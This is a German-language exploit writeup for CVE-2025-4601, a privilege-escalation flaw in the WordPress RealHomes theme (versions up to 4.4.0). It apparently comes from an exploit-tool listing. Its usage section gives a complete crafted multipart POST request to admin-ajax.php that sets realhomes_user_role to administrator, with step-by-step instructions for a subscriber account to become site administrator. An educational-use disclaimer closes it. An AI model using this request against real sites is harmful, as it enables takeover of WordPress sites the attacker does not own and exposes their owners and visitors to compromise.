CVE-2025-4601 - WordPress RealHomes Theme <= 4.4.0 - Privilegieneskalation

🔥 Zusammenfassung der Sicherheitslücke Das WordPress-Theme RealHomes in Versionen <= 4.4.0 ist anfällig für eine Sicherheitslücke zur Privilegieneskalation. Dadurch können authentifizierte Benutzer mit niedrigen Rechten (wie Abonnenten) ihre Rollen zu Administratoren hochstufen. Diese Schwachstelle tritt in der Funktion inspiry_update_profile auf, die es Benutzern unsachgemäß erlaubt, ihre Rolle zu ändern, wenn die Option ere_allow_users_change_role aktiviert ist.

Dieses Problem kann ausgenutzt werden, indem eine speziell präparierte POST-Anfrage an den Endpunkt admin-ajax.php gesendet wird, wobei der Parameter realhomes_user_role auf administrator gesetzt wird.

🔍 Betroffenes Theme

• Theme-Name: RealHomes
• Betroffene Version: <= 4.4.0
• Art der Sicherheitslücke: Privilegieneskalation
• CVE ID: CVE-2025-4601
• CVSS Score: 8.8 (Kritisch)
• Auswirkung: Vollständiger Administratorzugriff → Mögliche Kompromittierung der Website

🧪 Exploit-Funktionen

• 📥 Ruft Nonce automatisch von der Zielseite ab.
• 🔐 Eskaliert Benutzerrolle zu administrator über den Parameter realhomes_user_role.
• 🌐 Keine Authentifizierung erforderlich außer als Benutzer mit niedrigen Rechten (z. B. Abonnent) eingeloggt zu sein.
• 💾 Aktualisiert Benutzerprofil und gewährt dem Angreifer Administratorzugriff.

🧠 Forscher

• Credit: Thai An

🚀 Verwendung

1. Melden Sie sich auf der Zielwebsite als Benutzer mit niedrigen Rechten (z. B. Abonnent) an.

2. Greifen Sie auf den Endpunkt /wp-admin/admin-ajax.php mit den folgenden POST-Daten zu, die realhomes_user_role auf administrator gesetzt enthalten:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/2
   Host: targetsite.com
   Cookie: wordpress_logged_in_xxx=...
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
   
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="first-name"
   test
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="last-name"
   user
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="realhomes_user_role"
   administrator
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="action"
   inspiry_update_profile
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr--
   

3. Überprüfen Sie die Antwort: Bei erfolgreicher Anfrage erhält der Angreifer Administratorzugriff.

4. Überprüfen Sie durch Zugriff auf die Seite /wp-admin/, ob der Angreifer Administratorrechte erhalten hat.

🔒 Haftungsausschluss: Dies ist nur für Bildungszwecke gedacht und sollte nur auf Systemen verwendet werden, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind, sie zu testen. Missbrauch dieses Codes kann rechtliche Konsequenzen haben.